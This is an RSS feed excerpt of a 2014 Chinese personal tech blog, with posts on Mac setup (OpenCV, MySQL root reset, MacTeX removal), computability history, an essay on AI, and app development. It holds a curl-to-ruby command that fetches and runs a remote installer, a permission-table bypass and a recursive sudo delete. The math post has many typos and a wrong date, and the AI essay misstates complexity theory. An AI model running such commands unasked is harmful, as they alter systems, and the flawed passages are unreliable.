前两个步骤的数据挖掘我们只考虑了一条公交路线，如果我们要把整个城市的公交路线都考虑进来，我们可以继续给$t_{ij}$增加维度，比如说当前站还未上车时的等车人数（这样的话便可以预测出大概有多少人在等哪一路的车，大幅增加了预测的准确度），又比如说，增加当前站台在城市中的地理坐标，引入城市小区的地理位置，这样的话可以预测出上车的人从哪儿来（小区直接等车？转车导致的等车？）、上车的人要去哪里（回家？还是换乘？）、这条路线上大部分上车的人喜欢在哪儿上车、大部分的人都在哪里下车、等等等等…… 当然我们还可以在人力物力财力允许的情况下进一步优化我们的数据集，这只是最初步初步的想法，限于篇幅这里就不继续展开我的思路了…
那么，我们有了这些数据又怎么样呢？一方面，我们可以更加精确的预测整个城市的人口流动情况，另一方面，我们可以这些数据为蓝本，给城市公交建设提出一些可靠的意见和建议，再有，把这个数据集成到一个app中，给人们提供参考，也是很棒的。
二、看到的 在构思上面系统的同时，还观察了旁边一个妹子在刷空间的互动行为。这个妹子确实勤快，我看了她一路，居然每条说说都回复了，确实强大…不过，根据对妹子表情的观察，我更好奇这个妹子的每条回复究竟是什么心态。
假设我们发了一条说说，如何判别一条别人的回复对这条说说的态度是持“点赞”多一点？还是反面多一点？
解决这个问题其实很简单，一个非常非常平凡的思路就是：我们可以先收集一堆已经被标记为正负面的评价的回复作为数据挖掘的数据库。
那么，第一个问题就是，怎样量化回复的正负面？
所以我们可以尝试准备一个词汇向量（这个向量的维度可以很大很大，甚至囊括所有的词汇），比如假设我们构造一个非常基本的向量：a = （“好”，“差”，“喜”，“讨”，“欢”，“厌”），然后对一个回复，比如回复了一句“好喜欢”对应01向量就是：（1,0,1,0,1,0），把一条回复转化成的向量记为a=（a1,a2,…,an），怎么表达正反面呢？既然只有两个层次，问题就变得非常简单了：找一个函数f能够使得f(a)&amp;gt;0，那么我们就认为是正面的回复，如果f(a)&amp;lt;=0，就认为是负面回复了。
怎么找这样的函数？最简单的办法自然是利用向量的点乘了，用点成来界定向量，我们可以尝试寻找一个标准向量X = (x1, x2, …, xn)，如果我们将回复转化成的向量a∙X^T&amp;gt;0，那么这条回复就更倾向于点赞，相反，a∙X^T≤0的回复就更负面一些。
至于具体如何求出x1,x2,…,xn这些参数，那就是另一个话题了</description></item><item><title>在 Mac 中安装 opencv-python</title><link>https://changkun.de/blog/posts/install-opencv-python-on-mac/</link><pubDate>Tue, 29 Jul 2014 10:34:37 +0000</pubDate><guid>https://changkun.de/blog/posts/install-opencv-python-on-mac/</guid><description>前段时间手贱升级到了 Yosemite Developer Preview 版，实在是太费电，想降级，结果发现升级时没有备份，简直是残废= =，遂重装系统，隔了很久，今天才想起来还要装个OpenCV（惭愧…很久没写OpenCV了…），这学期一直在写Python，Python快速开发简直赞，所以想用Python来些OpenCV了……
不觉发现OpenCV已经更新到2.4.9了，遂看了一上午的OpenCV的官方文档，对比了一下Python和C++的接口，感觉很不错。 不过安装教程也是奇葩，好像万年不更新了…
好吧进入正题，下面是傻瓜式的安装教程
如果你已经有了CMake环境，那么直接跳到第3步
1、安装Homebrew(类似于Ubuntu的apt-get) 1 ruby -e &amp;amp;quot;$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)&amp;amp;quot; 2、安装CMake 1 brew install cmake 3、安装OpenCV 在下载的OpenCV源码文件夹内，执行如下命令，如果CMake有错，那么请安装Xcode中的Command Line Tools(Xcode5以后的版本自带了，如果Xcode都没有你怎么会想到安装OpenCV..orz)：
1 2 3 4 5 mkdir build cd build cmake -D CMAKE_BUILD_TYPE=RELEASE -D CMAKE_INSTALL_PREFIX=/usr/local -D BUILD_PYTHON_SUPPORT=ON -D BUILD_EXAMPLES=ON .. make sudo make install 4、配置Python路径 在~目录下
1 vim .bash_profile 在.bash_profile中添加，其中python2.7视个人python版本而定。
1 export PYTHONPATH=/usr/local/lib/python2.</description></item><item><title>计算机科学和数学的那点儿破事儿</title><link>https://changkun.de/blog/posts/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6%E5%92%8C%E6%95%B0%E5%AD%A6%E7%9A%84%E9%82%A3%E7%82%B9%E5%84%BF%E7%A0%B4%E4%BA%8B%E5%84%BF/</link><pubDate>Tue, 08 Jul 2014 21:00:50 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6%E5%92%8C%E6%95%B0%E5%AD%A6%E7%9A%84%E9%82%A3%E7%82%B9%E5%84%BF%E7%A0%B4%E4%BA%8B%E5%84%BF/</guid><description>1928年的国际数学家大会在波诺尼亚举行，会上希尔伯特又提粗了他的一个另一个著名问题——所谓的判定问题：找出一个算法来判定一个给定的命题是否为其他命题的逻辑推论。
该问题的趣味性在于以下施诗：数学的哥哥分支可以一律用公里体系呈现出来，其中的鼎力为前面公理的逻辑结果。像希尔伯特所寻求的这样的算法，能使数学家集中注意力于他们工作的令人高兴得部分，即明确表达公里并称述有趣的结果，而将从公理中退出的这些结果的费力的工作留给算法。
然而该问题远非是上面的如意算盘。1992年，波斯特取得了关于该问题的实质性的进步，他证明了命题逻辑——处理呗成为关联词的语言元素的逻辑部分有效地接纳了这种算法，即所谓的真值表方法。然后希尔伯特提出了将该结果扩展也处理量词的逻辑部分——即谓词逻辑。
该问题由美国的丘奇于英国的图灵于1936年分别独立地加以解决。结果是否定的（从中可以看出，对证明的寻求仍旧构成了做数学的中心部分）：希尔伯特所寻求的这种算法是不存在的。但这一事实的证明以一种实质性的进展为先决条件：尽管算法存在性的证明能够仅仅通过展示为先决条件：尽管算法存在性的证明能够仅仅通过展示具有所期望的性质的算法而完成，但是不存在性的证明需要除去每一个可能的算法，因此需要给出算法这一概念的完整刻画。
这样一个模糊、直觉的概念竟然能容纳精确地、形式的刻画，这一事实是令人惊讶地发现。这一点是通过一系列的对算法加以定义的尝试实现的，最终所有的定义被证明是等价的。而确实是图灵的方法最终使数学家意识到，该定义已经被发现。当今他的定义可以被翻译成似乎是平凡的术语——算法是可以用任何一种所谓的通用语言翻译成计算机程序的方法。
的确，1936年计算机还不存在。然而，计算机的进展正是基于图灵引入了通用计算机——通过执行一个程序能够完成每一个可计算函数——这一概念，确切地说，是基于从仅能够完成固定计算的专门计算机，例如计算器，能够完成任何可执行计算——例如计算机——的转变。
图灵得到了判定问题的否定结果，通过将停机问题——即判定一个给定的程序是否将最终终止它的计算并停止于事先输入的数据——翻译成逻辑语言。这一问题可以很容易地被证明是不可判定的，从下面的意义上来说：没有程序能判定它，通过使用经典的对角线法——由康托在集合论中首次引入，后来罗素用于他的悖论，哥德尔用于他得不完全性定理的证明中，因此这一方法为图灵所熟知（也为丘奇所熟知，他用先死的方式解决了这一问题，只是使用他关于算法的等价定义——lambda演算）。
判定问题的解决方法给出了各个领域中关于不可判定性证明的一种方法，通过恰当地翻译成停机问题或其他相似性的问题。从数学的角度来看，该方法的最有趣的应用是希尔伯特第十问题的否定：能否找出一个有整数（正的和负的）系数的多项式（含有一个或多个变量）是否有整数的零点——即通过多项式等于零而得到的丢叛徒方程是否有整数根的算法。
在1900年国际数学家大会时，希尔伯特第十问题的特殊情形的肯定解答就为人所知了。例如，找出最大公因数的欧几里得算法能被用于处理一次丢番图方程，因为a1x1+&amp;hellip;+anxn=b有整数解，当且仅当a1,…,an的最大公因子能整除b。此外搞死的二次互反律能使人们处理二次丢番图方程。
1968年，阿兰·贝克尔给出了一个结果——三次或更高次多项式方程解的有效上街，该结果能被用于处理椭圆方程的情形，为此他赢得了1970年度菲尔兹奖。这一事实显示出了希尔伯特第十问题，莫德尔猜想于费马达定理之间存在内在联系。贝克尔的结果后来被扩展到处理任意含有两个变量的丢番图方程。
解决这些特殊情形的困难按时了希尔伯特问题的答案是否定的，因此一般判定算法是不存在的。马丁·戴维斯、希拉里·普特兰、茱莉亚·鲁滨逊和尤里·马蒂亚瑟维奇给出了这一事实的证明。1960年，他们当中的前三位说明了如何将停机问题翻译成丢番图方程——由于加入了指数函数而变得丰富——语言（任一给定程序的行为由一个方程描绘，因而该程序停止当且仅当该方程有一个解），后来1970年马蒂亚瑟维奇从中去掉了指数函数。
一个改进的马蒂亚塞维奇的结果说明了：有九个变量的丢番图方程的情形已经是不可判定的，但是还不知道这是否是最佳可能结果。事实上，贝克尔猜想：有三个变量的丢番图方程就已经是不可判定的了。</description></item><item><title>拙谈人工智能的未来</title><link>https://changkun.de/blog/posts/%E6%8B%99%E8%B0%88%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E7%9A%84%E6%9C%AA%E6%9D%A5/</link><pubDate>Tue, 24 Jun 2014 12:37:59 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%8B%99%E8%B0%88%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E7%9A%84%E6%9C%AA%E6%9D%A5/</guid><description>序 从上个学期开始正式接触所谓“人工智能”，到这个学期差不多快一年了，陆陆续续逐步从感知机到SVM，从HMM到DL，逐步感受到这门学科的巨大深坑。我就来说说我的认识好了。
最初大一的时候第一次听说人工智能时是因为周伟老师（周老师确实厉害，我觉得应该是教过我的老师里面最有水平、最敬业的老师之一了），当时是和他谈到专业方向的问题，他随口提了一下他是做人工智能的。
不过当时大一计算机的皮毛都没接触到，C语言都还学得很残，也没有太在意这件事。直到后来当我接触计算机视觉之后，再后来随着对问题的深入才注意到，实际上原来这些东西我早有耳闻。
一、计算的复杂性 最开始的时候接触的是一门叫做计算复杂性理论的学科， 学到有关计算层次的东西，其中最最基础的一个东西叫做有限状态自动机，但后来才发现这玩意儿是一种非常弱的模型，只能处理正则文法正则表达式的东西，显然是不可能处理我们希望的所谓人工智能。
于是后来就出现了确定性下推自动机，但是这东西是一种上下文无关语言，尽管它后来给出了非确定性模型，能够处理的问题比确定性更广泛，但是仍然很鸡肋。最后到图灵机，不过很遗憾的事就是随着NP理论完善，图灵机也是有它自身的缺陷。
举个简单的例子，我们人脑能够处理的事情显然是指数级甚至阶乘级的复杂度甚至更复杂的问题，但是图灵机智能处理P类问题，而NP等于P吗？我个人还是很倾向于不等于的。因此，图灵机也就到P类问题截至了，还能继续突破吗？有人是这么评价图灵机的：图灵机奠定了人工智能的基础。但是，这个说法靠谱吗？实际上图灵机外面还有一些不可计算的问题，被称作不可判定问题，比如说停机问题（本质上就是罗素悖论）。
二、体系结构的硬伤 后来就接触到了计算机的结构体系——冯诺依曼体系，冯诺依曼干了什么事情呢？冯诺依曼提出了计算机的体系结构，其实就是一种实现通用图灵机的计算设备。
这种体系结构有一个很大的毛病，那就是这是一种串行的计算设备，无论你怎么改进，一个时刻永远只能处理一条指令，就这一点，几乎就给在这点上实现人工智能进行了第一道封喉。
另一方面，存取结构也存在巨大障碍尽管大脑记忆的存取方式尚不明确，但是我们能够明确的是，记忆至少是一种随机的非线性的存取结构。但是硬盘呢？尽管架构师们如何改进他们的内存硬盘架构，但是始终摆脱不了这样的尴尬——存储器始终是线性的，存取方法永远是索引的…（硬伤…这就叫硬伤…）
三、统计学的胜利 难道就没有什么办法了吗？这时候统计学的使用开始变的至关重要，尽管最初是非统计的方法应用较早，当时计算机科学家们数学功底一般，天真的以为能够找到一个解析解来解决问题。但后来科学家们很快就意识到，统计能够获得更好的效果，我们待会儿来看看是什么原因。
所以现在倡导的大数据的战略模式，就如同当年社交网络的诞生一样，似乎一夜之间所有的商业公司都开始拼了命的搜集用户隐私数据。一个很重要的基础就是：总体＝样本。当这两个概念可以划等号的时，估计就没有了任何意义，因为我们在做决策的时候，依托现在的计算量，直接给出的就是全样本，只要特征选取正确，误差处理合理，则总能给出合理的预测。因为我们天真的认为，事物的变化总是有规律可循的。
一个我们实实在在能够感受到的例子就是语音识别技术，谷歌的Google Now、苹果的Siri、微软的Cortana，这些产品的背后用得不是别的，是数学，更精确一点，是统计学。一个非常基础的解决方案，就是HMM。甚至，在人机交互中有这样的观点：我们是否可以考虑会通过一些User Input来消除适当的计算量。
另一个例子是百度有个深度学习研究院，前阵子学术界的大牛吴恩达也加入其中，可见现在这套理论的火热程度。但是深度学习的本质上只是一种深层的神经网络，当时只不过计算量奇大，收敛速度也不能忍，早在上个世纪七十年代就被学术界给抛弃了。但是09年的时候，有位大牛做了一点点小的改进，于是把这堆死灰复燃了，而且，依据这套东西，学者们迅速改进，短短几年时间，Google做出了依托YouTube海量样本的惊艳产品——让计算机领悟了猫的概念。
为什么统计学会胜利？一个非常重要的原因就得益于这样一个人类行为：人脑是基于经验的。我们可以不假思索的对某些事物做出判断，就是因为我们在脑海中积累了大量的对于某件事物的分类信息。于是我们为何不把经验引入计算机体系当中呢？于是，便有了今天。（说一个打脸的事，百度依托它的这套系统，对这届世界杯进行了预测，不过这次葡萄牙的表现，也是妥妥的打脸了）
四、总结 所以，人工智能到底发展到什么地步了？前途有多大？
首先，谷歌苹果微软等涉足科技的公司做出来的产品看起来那么的智能，其实他们的本事简单得出奇——只是全样本下的数据分类而已。图灵机只是一种计算模型，它的数学本质在于集合论，基础靠的是ZFC公理系统，而图灵机这种基础计算模型的基础可以追溯到ZFC公理系统，但是在这个公理系统下，有着哥德尔定理在其决定性的压制。当然后来还诞生了诸如范畴论之类的东西，当然这些都是后话了。在这么多硬伤的状态下，人工智能还有多少前景？
其次，现在人工智能的实现，只不过是上个世纪六十年代就被数学家们玩烂了的东西，不过现在摩尔定律当道，解决了当时看似不可能的计算效率，才得以进步。这些东西，本质没有变，体系没有变，结果当然也不会有所改变。倘若不久的将来，摩尔定律也到头了，计算机科学的发展也可能到达第一个低谷了。
不仅如此，数学家们当时还给出了我们没办法处理全样本时的一系列解决方案（样本估计总体），这些方案在日后存储设备跟不上数据的生产速度时，计算机科学家们肯定会有一次重拾这一堆死灰，稍加改进，从而又会引发下一个巅峰吧。
再有，我很喜欢下面这个例子：当人类发明第一个梯子可以爬上树的时候，登月还有很远很远，更重要的是，整个方向就是错误的，梯子并不能登月。 现如今二十一世纪已经过去了十多年，真正的革命性突破还没有出现，但是，电池技术干翻了化学，可以预见的芯片技术将干翻物理，而人工智能也会干翻数学。回想一次次的理论大爆炸的起点，第一次是牛顿和莱布尼兹的微积分，第二次是伽罗华的群论，第三次则是勒贝格和它引领的测度理论，第四次会是什么呢？
总而言之，想要实现所谓高并发、高复杂度、随机存取等一系列复杂结构的人脑智能，有生之年，只能期待下一个伽罗华似的人物来革新整个数学基础体系了，到那时，无论是学术界，还是工业界，都将为之振奋。
进一步阅读的参考文献 ［1］《计算理论基础（第二版）》Harry R.Lewis 等著
［2］《人工智能：一种现代方法（第三版）》 StuartRussell 著
［3］《算法导论（第三版）》Thomas H. Cormen 著
［4］《机器学习》 Tom Mitchell 著
［5］《Naive Set Theory》 Paul R. Halmos 著
［6］《用户界面设计——有效的人际交互策略（第五版）》 Ben Shneiderman 等著
［7］人工智能史 http://zh.wikipedia.org/wiki/人工智能史
［8］人工智能正在迈向技术的奇点吗？http://www.zhihu.com/question/24078012
［9］深度学习：推进人工智能的梦想 http://www.csdn.net/article/2013-05-29/2815479</description></item><item><title>Mac下新安装的MySQL无法登陆root用户解决方法</title><link>https://changkun.de/blog/posts/login-issue-after-install-mysql-on-mac/</link><pubDate>Sun, 18 May 2014 08:04:40 +0000</pubDate><guid>https://changkun.de/blog/posts/login-issue-after-install-mysql-on-mac/</guid><description>也不知是何原因，新安装好的MySQL，如果尝试用mysql -u root -p登陆就会出现这样的错误，但是root用户根本就没有设置密码。
1 ERROR 1045 (28000): Access denied for user &amp;#39;root&amp;#39;@&amp;#39;localhost&amp;#39; (using password: NO) 下面是解决方案： 1、先在系统偏好设置中关闭MySQL服务； 2、在终端中输入：
1 2 sudo su mysqld_safe --skip-grant-tables --skip-networking &amp;amp; 这时便能越过权限表，直接登陆MySQL了。 3、新建一个终端，输入
1 mysql -u root 4、 在MySQL中修改root用户密码即可：
1 2 mysql&amp;amp;gt; UPDATE mysql.user SET password=PASSWORD(’新密码’) WHERE User=’root’; mysql&amp;amp;gt; FLUSH PRIVILEGES; 下面是在Mac中安装MySQLdb的方法： 由于要在Python里使用MySQL，但是Python内建的库中没有操作MySQL的玩意。所以得单独装一个,在安装下面的内容之前你首先得装一个MySQL。 在这里下载MySQLdb for Python，现在的最新版本是1.2.3，下载 MySQL-python-1.2.3.tar.gz 文件。（大视窗就直接 MySQL-python-1.2.3.win32-py2.7.msi 安装把）
在Finder直接双击压缩包或者 tar zxvf 解压之后，打开里面的 site.</description></item><item><title>Matlab 2013a for Mac 帮助文档卡死解决方案</title><link>https://changkun.de/blog/posts/matlab-2013a-for-mac-hanging-issue/</link><pubDate>Mon, 28 Apr 2014 20:12:27 +0000</pubDate><guid>https://changkun.de/blog/posts/matlab-2013a-for-mac-hanging-issue/</guid><description>有两种方法，不过都有自己的缺点。
方法1： R2013a在命令窗口中输入:
1 com.mathworks.mlwidgets.html.HtmlComponentFactory.setBrowserProperty(&amp;#39;JxBrowser.BrowserType&amp;#39;,&amp;#39;Mozilla15&amp;#39;); 缺点：会使得Menubar菜单消失。
如果想还原运行的上面命令：
1 com.mathworks.mlwidgets.html.HtmlComponentFactory.setBrowserProperty(&amp;#39;JxBrowser.BrowserType&amp;#39;,&amp;#39;Safari&amp;#39;); 方法2： 在防火墙中禁止matlab访问网络，这样不需要任何改动就可以避免帮助文档卡死。 缺点：需要matlab进行网络访问则会失效。</description></item><item><title>Put color on Mac terminal</title><link>https://changkun.de/blog/posts/put-color-on-mac-terminal/</link><pubDate>Tue, 22 Apr 2014 13:41:23 +0000</pubDate><guid>https://changkun.de/blog/posts/put-color-on-mac-terminal/</guid><description>Mac中的ls命令可以使用-G参数彩色化输出的文件列表，需要配置LSCOLORS环境变量定义颜色，具体配置方法可以输入man ls查看。
不过，我查到这篇文章：http://linfan.info/blog/2012/02/27/colorful-terminal-in-mac/ 这篇文章的博主推荐安装Linux使用的GNU Coreutils替换Mac的ls命令，因为： Coreutils提供了配置工具，定义颜色代码更加方便； Coreutils包含的不仅仅是ls，同时作为Linux用户，他更习惯于使用GNU的各种shell工具。 （好吧，其实我也是一样）
Coreutils的安装与配置方法如下： 通过Homebrew安装Coreutils
1 brew install xz coreutils 注：Coreutils并不依赖于xz，但它的源码是用xz格式压缩的，安装xz才能解压。 生成颜色定义文件
1 gdircolors --print-database &amp;amp;gt; ~/.dir_colors 在~/.bash_profile配置文件中加入以下代码
1 2 3 4 5 if brew list | grep coreutils &amp;amp;gt; /dev/null ; then PATH=&amp;#34;$(brew --prefix coreutils)/libexec/gnubin:$PATH&amp;#34; alias ls=&amp;#39;ls -F --show-control-chars --color=auto&amp;#39; eval `gdircolors -b $HOME/.dir_colors` fi gdircolor的作用就是设置ls命令使用的环境变量LS_COLORS（BSD是LSCOLORS），我们可以修改~/.dir_colors自定义文件的颜色，此文件中的注释已经包含各种颜色取值的说明。
grep高亮显示关键字: 这个很简单，加上&amp;ndash;color参数就可以了，为了使用方便，可以在~/.bash_profile配置文件中加上alias定义。
1 2 3 alias grep=&amp;#39;grep --color&amp;#39; alias egrep=&amp;#39;egrep --color&amp;#39; alias fgrep=&amp;#39;fgrep --color&amp;#39; Vim语法高亮: 在Vim中输入命令:syntax on激活语法高亮，若需要Vim启动时自动激活，在~/.</description></item><item><title>论文都是逼出来的</title><link>https://changkun.de/blog/posts/%E8%AE%BA%E6%96%87%E9%83%BD%E6%98%AF%E9%80%BC%E5%87%BA%E6%9D%A5%E7%9A%84/</link><pubDate>Fri, 04 Apr 2014 18:52:49 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%AE%BA%E6%96%87%E9%83%BD%E6%98%AF%E9%80%BC%E5%87%BA%E6%9D%A5%E7%9A%84/</guid><description>美赛成绩出来了，应该算是相比去年来说算是进步了很多吧。
去年苦逼的只拿到了Successfully Participation，今年查到成绩的时候还是小激动了一下：Meritorious Winner。
不过后来听到居然有大神拿到了Outstanding Winner，瞬间感觉自己仍然还是弱渣一枚，做什么都是渣，欣喜感荡然无存= =。
说来也奇，今年比赛的时候我和队友居然都错误的把一个四天的比赛认为只有三天，结果提前了24小时就提交了论文，现在想想觉得也很惊悚。
事实上距离比赛结束（2月10号）才两个月不到的时间，但我已经完全想不起来比赛论文写了什么东西了。
查完成绩后回寝室看了看这两篇论文，感觉差距还是超级的大，大一满怀论文信手拈来的那种激情已经完全不存在了。
遂先回过头来看大一的那篇《The Ultimate Brownie Pan》，无论从排版上的品位还是最后模型的建立，都只觉得稚嫩与无知。
刚才重读了今年的这篇论文《A Study in Keep-Right-Except-To-Pass Rule》（你有没有觉得这篇名字的命名借鉴了Sherlock..回答正确..=-=）更多的是在理论上的一些思考，甚至我现在再回过去读这篇论文发现已经不太能看懂自己的观点了。当然，今年这片在整片论文的排版上下了很大的功夫，直接导致了我这两个月都毫无写论文的欲望。
于是我慢慢理解了那些评委面对上万份的论文，究竟耐下了多少性子审核了这么大一堆论文。因为我自己再回过头去看我自己的论文（30多页），都觉得毫无耐心，几乎是一路翻看过去的。
大一大二这两年论文写了不少，真正获得认同的文章却没有几篇，综合起来看，凡是激情澎湃洋洋洒洒敲下来的论文，基本上都属于废材系列，没有一篇是别人同意靠谱的。相反这些在短时间内逼出来的文章，倒是含金量不少？说不准了。
好吧，想想自己还是弱渣一枚，滚去图书馆看书去了..</description></item><item><title>Python QuickStart</title><link>https://changkun.de/blog/posts/python-quickstart/</link><pubDate>Thu, 27 Mar 2014 12:48:13 +0000</pubDate><guid>https://changkun.de/blog/posts/python-quickstart/</guid><description>Python Version: 2.7 We use python for rapid development. Mainly using the matrix operations, so we quickly introduce python collection type and control structure.
List 1 2 3 4 &amp;gt;&amp;gt;&amp;gt; wow=[] &amp;gt;&amp;gt;&amp;gt; wow.append(1) &amp;gt;&amp;gt;&amp;gt; wow.append(&amp;#39;nice hat&amp;#39;) &amp;gt;&amp;gt;&amp;gt; wow python has arryay data type, which similar to c/cpp/java/&amp;hellip;, can contain only one type of data. This array type is faster than list when you are looping.
Dicthinaries 1 2 3 4 &amp;gt;&amp;gt;&amp;gt; wow={} &amp;gt;&amp;gt;&amp;gt; wow[&amp;#39;name&amp;#39;]=&amp;#39;euryugasaki&amp;#39; &amp;gt;&amp;gt;&amp;gt; wow[123]=456 &amp;gt;&amp;gt;&amp;gt; wow Set 1 2 3 4 5 6 7 8 &amp;gt;&amp;gt;&amp;gt; Set1 = [1,2,3,4,5,6,7,8,9] &amp;gt;&amp;gt;&amp;gt; pSet1 = set(Set1) &amp;gt;&amp;gt;&amp;gt; pSet1 &amp;gt;&amp;gt;&amp;gt; pSet2 = set([4,5,6,7]) &amp;gt;&amp;gt;&amp;gt; pSet2 &amp;gt;&amp;gt;&amp;gt; pSet1-pSet2 &amp;gt;&amp;gt;&amp;gt; pSet1|pSet2 &amp;gt;&amp;gt;&amp;gt; pSet1&amp;amp;pSet2 if 1 2 3 4 5 &amp;gt;&amp;gt;&amp;gt; val=10 &amp;gt;&amp;gt;&amp;gt; if val&amp;lt;9: print &amp;#34;hehe&amp;#34; &amp;gt;&amp;gt;&amp;gt; if val&amp;lt;9: .</description></item><item><title>谈谈对编程语言的一般性认识</title><link>https://changkun.de/blog/posts/%E8%B0%88%E8%B0%88%E5%AF%B9%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80%E7%9A%84%E4%B8%80%E8%88%AC%E6%80%A7%E8%AE%A4%E8%AF%86/</link><pubDate>Sat, 22 Mar 2014 13:05:07 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%B0%88%E8%B0%88%E5%AF%B9%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80%E7%9A%84%E4%B8%80%E8%88%AC%E6%80%A7%E8%AE%A4%E8%AF%86/</guid><description>前段时间做了个无聊的事情，算了算我大概学会使用了多少门编程语言，最后的结果是：十二门。（C, C++, Objective-C, Mathematica, Maple, Linux Shell, Java, Matlab, Lua, Python, assembly, R.)
然而细细一想又觉得很不靠谱，因为真正我自己觉得可能算是精通的的语言只有两门：Mathematica（我把它简称为MM） 和 Objective-C（我把它简称为OC）。
OC学起来很快，它和C++、Java这些面向对象的语言十分类似，不过，差距也显得比较突兀，我自己的学习顺序是:C -&amp;gt; C++ -&amp;gt; Java -&amp;gt; OC，好在我在学习OC之前对Java有了一个较为全面的了解，加之对C++一些肤浅的理解，算是稍微理解了一些OC的范式与模板了。
OC采用的是一种叫做“Messaging Structure”而非&amp;quot;Function Calling&amp;quot;的机制。我们可以对比一下下面的代码：
1 2 3 // Function Calling (c++) Person *person = new Person; person-&amp;amp;gt;walk(parameter1, parameter2); 1 2 3 #pragma mark Messaging Structure (oc) Person *person = [Person new]; [person walkWith:parameter1 and:parameter2]; 他们一个比较本质的区别在于，使用Messaging Structure的语言，运行时所应执行的代码是由运行环境决定的，而使用函数调用的语言，则是由编译器决定的。如果调用的函数是多态的，那么运行时就需要一种叫做“Virtual Table”的机制来检查到底应该执行哪个寒素实现。采用消息结构的语言，不论是否多态，总是在运行时才会去查找所需执行的方法。其实，编译器都不会去关心接受消息的对象是什么类型。接受消息的对象问题也需要再运行时处理，其实这样的一个过程就是我们所熟知的“Dynamic Binding”。
OC的重要工作都是由运行期组件而非编译器完成的。举个例子，运行期组件里面含有全套内存管理的方法，运行期组件本质上就是一种与开发者所编代码相链接的一个所谓的&amp;quot;Dynamic Library&amp;quot;，其代码能把开发者编写的所有程序粘合起来。这样的话，只要更新相应的运行期组件，马上就可以获得性能的提升，而那些很多工作都是处于编译期完成的语言（比如C++），想要获得类似的性能提升，就需要重新编译了。
下面配一张动态绑定这一特性，c++的OOP和其他语言的OOP的态度。</description></item><item><title>写 App &amp; 与打砖块：无尽版</title><link>https://changkun.de/blog/posts/%E6%89%93%E7%A0%96%E5%9D%97%E6%97%A0%E5%B0%BD%E7%89%88/</link><pubDate>Thu, 20 Mar 2014 16:33:02 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%89%93%E7%A0%96%E5%9D%97%E6%97%A0%E5%B0%BD%E7%89%88/</guid><description>→ → 明早没课嘿嘿嘿嘿
第一次写app是打砖块，因为好像人生中第一个玩的游戏就是打砖块= =，所以看了点知识就开始下手了，感触比较深刻的是不真机调试有些bug还真不知道。。今天晚上趁着写FlappyFlat脑子比较热，熟悉了一下以前写的源码，顺便就改了改代码，算是把目前已知的Bug清理完毕了。算是比较完整的版本了。。目测以后不会去屌这个了。。
今天第二次写app，是现在这股FlappyBird热，看到别人写app，突然自己也想试一试，再加上寒假整个荒废，干脆写一个来祭奠逝去的寒假。 构思了约莫十分钟，后来越写越奇葩，越写越觉得要处理的东西多，比如说重力啊，块在上下过程运动时候的旋转啊，管子间距的随机生成啊，渲染管子在视图层的运动啊等等。 但是感触最较多还是编程本身，语言仅仅只是语法，各类API就好比单词，所谓开发经验，估计就是所谓的API掌握的熟练度了，这次代码逻辑上实现估计不过一个小时可能，除开在脑子里纠结混乱的逻辑，估计真正编码时间应该只有半个小时不到。那还有两个小时花在哪里去了呢。。没错，查文档= =记不住API真是太糟糕了。虽然花了三个小时，但是Bug仍然存在，重力方面好像我自己想的模拟方法达不到原版的那种粘滞感，估计是摸你得太真实了把，不过短期内不想碰它了= = p.s. 还是老实系统搞一遍好了，高级特性神马的完全就没有用到啊，这种简单玩意儿都要花这么长时间，弱成渣啊。
版本号:0.2.0 （无尽版）
更新以下功能：
增加社交化功能，统计历史砖块数，显示您击败了全球多少小伙伴；
随机生成的关卡难度，砖块打得越多，小球速度越大，难度越高；
两次都没有击中砖块时，惩罚玩家，增加随机多个砖块；
有一定几率触发智能模式：闪现，此模式下砖块具备闪现能力，砖块当预测到自身将被击中时，有一定几率完成闪现；
有一定几率触发智能模式：无尽，此模式下砖块具备无尽能力，每当有砖块被击中时，有几率增加随机多个砖块；
更多玩法求提意见。
历史版本：
版本号:0.1.1
修复若干Bug
版本号:0.1.0
初步完成</description></item><item><title>MacTeX 卸载方法</title><link>https://changkun.de/blog/posts/delete-mactex/</link><pubDate>Sun, 09 Mar 2014 19:50:24 +0000</pubDate><guid>https://changkun.de/blog/posts/delete-mactex/</guid><description>在Mac中，不支持卸载器，所以像这种pkg安装的奇葩软件，到底在哪些地方安装了也就不得而知。 不过幸运的是，官网上都写出了这个安装文件的安装位置，所以我们来看一下怎么才能卸载它。 官网上一开始说用户想要卸载掉这个占用高达几个G的软件的用户，一般是下下来看看怎么样，另一方面是可能想要升级到新版本（2013），所以不知道怎么把原来的版本（2012）卸载掉。
首先，我们需要卸载掉Tex： 官网上说，我们可以在
1 2 /usr/local/texlive/2013 中找到2013版本的卸载位置 /usr/local/texlive/2012 中找到2012版本的卸载位置 而且，2013的版本完完整整的安装在那个目录下，但是我们怎样才能打开这个文件夹呢，因为Mac是Unix系统，/usr中被隐藏一般情况下是看不到的，所以我们可以在终端中输入 open /usr/local/texlive来打开这个路径。（我们可以使用sudo rm -r来删掉整个目录，期间会请求root权限） 一般情况下，我们还可以看到texlive目录下还有一个目录叫做texmf-local，官网上说这只是一个空得目录树，如果你有强迫症，那么，删掉它就彻底完事了。
第二步需要卸载图形界面的程序： 这个步骤非常简单，只需要删除掉：
1 /Applications/Tex 目录下的文件就可以了。 如果你没有强迫症，那么整个卸载工作就完成了。 如果你有强迫症，那么我们还将继续：
第三步 我们需要卸载掉Tex得Distribution Data Structure，官网上声称这个空间非常非常的小，你删除它没有任何意义，但是，我们既然是强迫症患者，那么删除它就显得十分的必要了。 我们在删掉
1 /libray/tex 这个目录之前，一定要注意检查这个目录里面的每个文件，官方给出我们一个警告，这个数据结构，很可能存放了你删掉这个目录后就可能再也找不到的文件，所以我们需要逐个删除这个目录下中不是快捷方式存在的文件。
